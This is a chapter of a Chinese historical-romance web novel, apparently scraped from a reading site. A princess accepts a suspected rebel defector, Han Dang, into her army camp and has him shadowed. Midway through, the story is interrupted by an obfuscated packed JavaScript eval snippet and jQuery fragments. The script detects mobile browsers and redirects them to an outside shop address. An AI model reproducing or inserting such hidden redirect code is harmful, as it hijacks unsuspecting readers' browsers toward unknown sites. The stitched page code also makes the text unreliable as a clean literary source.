韩当神色凝重地跪在地上,脊背挺得笔直。方才说话时情绪激动,声音不自觉地拔高了些,此刻胸脯还正随着有些急促的呼吸微微起伏着。
白霄并没有立刻回答他的话,这短暂的沉默让帐内的气氛有些尴尬。
“汪!”
一声清脆的狗吠忽然响起,打破了这一僵局。糯米摇着尾巴,大摇大摆地从帐外走了进来。
韩当有些诧异地看着这只养在军营里却依旧保持通体雪白的小狗,刚一对上眼神,糯米就停住了脚步。
这人它从未见过,气味也甚是陌生。它立刻警觉起来,背上的毛微微竖起,喉咙里发出低沉的呼噜声,一双黑亮的眼睛紧紧盯着韩当。
白霄的声音温和下来,伸出手朝糯米招了招。她知道糯米不常见生人,对外人总是格外警惕。
糯米听见主人的呼唤,竖起的小耳朵动了动,小碎步往白霄的方向挪了两步。韩当这才反应过来,原来是公主养的宠物。他心想,要是能亲手把狗送到公主跟前,也算是个示好的机会,便试探着朝糯米凑近了些。
这一靠近可把糯米吓得不轻。它大声地冲韩当叫了两声,爪子一蹬,飞快地窜向白霄,一跃跳进她怀里。
在门外听到动静的江以宁也连忙一路小跑地追过来,她掀开帐帘,探进半个身子往里瞧了瞧。见白皙点了点头,糯米也安稳地趴在白霄怀里,这才松了口气,放轻脚步走了进来。
“真是的,我刚喂完它,一不留神就让它跑出来了。”江以宁脸上有些过意不去。
白霄温柔地用手指轻轻梳理着糯米背上的毛,安抚着它的情绪,说道:
“不打紧的,我们正和外面来的公子聊天呢。”
听见白霄这样称呼自己,韩当悬着的心总算放下来一些。
“快起来吧。”白霄又一次示意他起身,“韩公子远道而来,若是跪坏了可怎么办。”
韩当这才缓缓站起,双腿早已麻得没了知觉,站起来时差点站不稳。
“你既说你原先是史朝义的部下,口说无凭,本公主不敢轻易相信你。你可有法子证明?”白霄问道。
韩当稍微想了想,伸手抓住衣襟,“欻”的一声将上衣撕开,露出满是伤痕的后背。在他肩胛骨下方的位置,一块巴掌大小的刺青格外显眼。
“史朝义为了验证我们的忠心,正式入伍前,每个人都要在身上纹上这个标记。”韩当转过身,“公主大可派人去我帐外的弟兄们身上查验,我们确实曾经是史朝义手下的叛军无疑。”
“既然是纹了身表了忠心的人,又怎么会轻易叛变?”白霄的目光落在他脸上,语气依旧平静,“你要我怎么相信,你们不是史朝义派来的眼线?”
韩当没说话,转身朝帐外招了招手。一个年轻的士兵怯生生地走进来,低着头,双手不知道该往哪儿放。韩当走到他身边,轻轻掀起他后背的衣裳。
一道触目惊心的箭伤露了出来,伤口周围的皮肉翻卷着,边缘有大片烧伤后留下的疤痕,暗红色的瘢痕像烧焦的树皮一样皱缩着,一直延伸到腰侧。
“这是上次出任务时,史朝义为了自己逃脱,下令向自己人放箭造成的。”韩当的声音沉了下去,“我这兄弟今年刚满二十,还没成家,就被折磨成这副样子。往后让他怎么做人?”
他说着,又转回身,将自己身上的伤痕一一指给白霄看。那些疤痕新旧交叠,有的已经发白,有的还泛着红色,像是挨鞭子抽的,又像是被什么钝器击打留下的。
“史朝义性情孤僻残暴,跟人争辩时,动辄就要打骂我们。我跟着他比较早,受的折磨也最多。”韩当说到这里,不禁顿了顿,“之前我一直忍着,直到上次他当着众人的面羞辱我,我才终于下决心带着几个弟兄逃出来。”
林牧驰听着,眉头越皱越紧。他往白霄身边靠近了些,压低声音说:
“公主,我还是觉得他们有些可疑,咱们还是不要轻易相信他们……”
白霄把食指轻轻按在唇上,做了个噤声的手势。她侧过头,也压低声音对他说:
“小声些,此事我自有定论,需要你们配合,牧驰可愿暂且信我?”
林牧驰看着她那双沉静的眼睛,想了想,点了点头:
“我相信公主。”
白霄眉眼弯起来,冲他笑了笑。随即转向韩当:
“既然你们如此坦诚,本公主也不由得动容。从今往后,你们便留在关中军营里,仍由韩公子带领,一起助我们拿下叛军。”
韩当先是一愣,随即脸上露出惊喜之色。他重新跪下来,双手抱拳,郑重地行了个礼:
“草民韩当,率兄弟们叩谢公主!”
白霄轻轻点了点头。
午后的日头有些晃眼,士兵们已经三三两两聚在练兵场上。江以清和魏川分头穿行在队列间,清点着人数,调整着队形。
白霄领着韩当和他身后的一队士兵走了过来:
“这是韩当韩公子,还有这些兄弟们,从今天起,和咱们一起训练。大家要友善相待,多照应着,尽快打成一片。明白没有?”
“明白——”
大家齐齐地应和着白霄的话,神色间却不经意流露出几分狐疑和诧异。
“他们不是从叛军营里来的吗?公主怎么还真信他……”
“去去去,凭你也敢置喙公主?咱们只管服从就是了。”
队伍中传出几句极小声的嘀咕,引起了小范围的骚动。
“肃静!”江以清往前迈了一步,盯着那几个说话的人,大声呵斥道,“我平日里怎么教你们的?公主面前,就是这般规矩?”
队伍里的声音一下子停了下来,士兵们一个个挺直了脊背,目视前方,脸上不敢表现出什么表情。
韩当站在一旁,眼珠微微转了转,面上显现出些受宠若惊的神色。他往前迎了一步,冲白霄陪着笑说:
“公主不必特意替我们说话。我们往后跟兄弟们好好相处,自然就熟了。”
韩当的话语里有些迎合和奉承之意,白霄斜眼看他,思量片刻,故作姿态地叹了一口气:
“眼下林将军的伤势还没养好,过几日咱们还要主动出击,去缉拿那些叛贼。若不抓紧些,让你们尽快把默契练出来,到时候还怎么上阵。”
“主动出击?”韩当的神色微微一变,随即敛住,换上一副关切的模样,压低声音问,“公主的意思是……具体怎么个打法?”
“这个咱们之后再说。你们跟着史朝义的日子久,对他那边的情形比我们熟。到时候拟定方略,还得请你们一道参详。”白霄平静地观察着韩当此刻的表情,缓缓说道。
韩当连连点头,脸上堆出诚恳的笑意:“公主言重了。我们既然来了,自然尽心尽力,绝不敢藏私。”
“好。”白霄伸手,在他肩头轻轻拍了拍,“那先去训练吧。别误了时辰。”
白霄转身往精锐队那边走去。韩当站在原地,目送她走远,脸上那层笑意慢慢收了回去。他回过身,细细回味了白霄刚才说过的话,冲身后几个弟兄递了个眼色,然后大步踏进江以清带的那支队伍里。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17226432|183961||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
林牧驰的伤口还没好利索,用力时仍会牵扯着隐隐作痛,但好歹已经能做些基本的活动了。在床上躺了这么些天,他早就憋得发慌,浑身的筋骨都像生了锈似的,恨不得立刻舒展开来。傍晚时分,天色渐暗,营地里没什么人走动,他便找了块空地,想活动活动手脚,盼着能早些恢复。
他提了一杆长枪,握在手里掂了掂,试着小幅度地挥动几下。没练多久,额头上就沁出一层薄汗。不知怎么的,他忽然觉得浑身不自在,后背像被什么东西盯住似的,隐隐发毛。
他停下动作,握着枪杆环顾四周。目光扫过角落时,他猛地一顿。
韩当正站在那里,一动不动地直勾勾盯着他看。林牧驰心里一紧,冷不丁打了个激灵。
“你站在那儿干什么?”他扬声问道。
韩当被这一声喊得回过神来,脸上闪过一丝尴尬,这才挪步走了过来。
“我原本听说林将军的伤还没养好,便想来看看,”他边走边说,目光却一直打量着,“谁知撞见将军舞枪舞得这样利落,一时间竟看呆了,不知道该不该上前打扰。”
林牧驰听出他话里的试探,心里冷笑一声,懒得搭理。他转过脸去,重新提起长枪,继续练起来,心里却多了个心眼,枪尖刺出时,他故意让动作显得僵硬些,脚下踉跄了一下,眉头也微微皱起,像是还使不上力的样子。
韩当又凑近了些,站在一旁看了好一会儿。见林牧驰额角带汗,动作也有些吃力,果然如白霄所说伤势尚未恢复,心下一喜,这才悄悄放下心来,转身悄无声息地走了。
此后一连数日,白霄等人都分头紧盯韩当的动向,几乎寸步不离。
晌午放饭时,韩当端着碗寻了个角落坐下。阿菊便立即装作不经意地挨过去,想看看他要做什么小动作。结果盯了半天,才发现他只是感冒了,不想往人堆里扎,害得阿菊也跟着被传染了。
日常练习时,江以清注意到韩当跟一个从叛军那边带过来的人低头说着什么,以为他们是在密谋,便立马竖起耳朵凑过去,结果只听见那人说:
“那个陈生,一躺下鼾声就跟打雷似的,我都三天没睡囫囵觉了。”
韩当深有同感地连连点头。
午间休息,江以宁看见韩当一个人往军营边上溜达,东张西望,鬼鬼祟祟。她悄悄跟上去,心想可算是抓着他的把柄了。结果韩当钻进草丛就开始解裤腰带。原来是因为茅房排队太长,憋不住了。
江以宁吓得扭头就跑,白霄知道后,把韩当从草丛里拎出来,当着全营的面训了小半个时辰,还罚了八百字检讨。打那以后,韩当宁可憋死也不敢在野外解手了。
熄灯前,韩当贪嘴,把白霄她们做的冰棒一口气吃了七八根。半夜肚子咕噜咕噜叫,他捂着屁股往茅房冲。好不容易排到门口,正要进去,一回头,胡桃跟在后面,也要往里挤。
韩当懵了:“你干嘛?”
胡桃理直气壮:“怕你跑了。”
就这么盯了七八天,愣是没发现半点问题。几个人凑在一起,大眼瞪小眼。
江以清揉着太阳穴,眉头皱成一团:
“他要是想给那边传消息,总得飞鸽传书或者至少写个纸条吧?可他连只蚊子都没碰过,总不能是托梦吧?”
白霄倒是气定神闲,靠在椅背上,不紧不慢地把手里的茶碗转了半圈:
“有没有传消息,也不一定非要看他怎么传。”她抬眼看了看几人,“咱们偷偷告诉他点东西,再瞧瞧叛军那边有没有动静,不就清楚了?”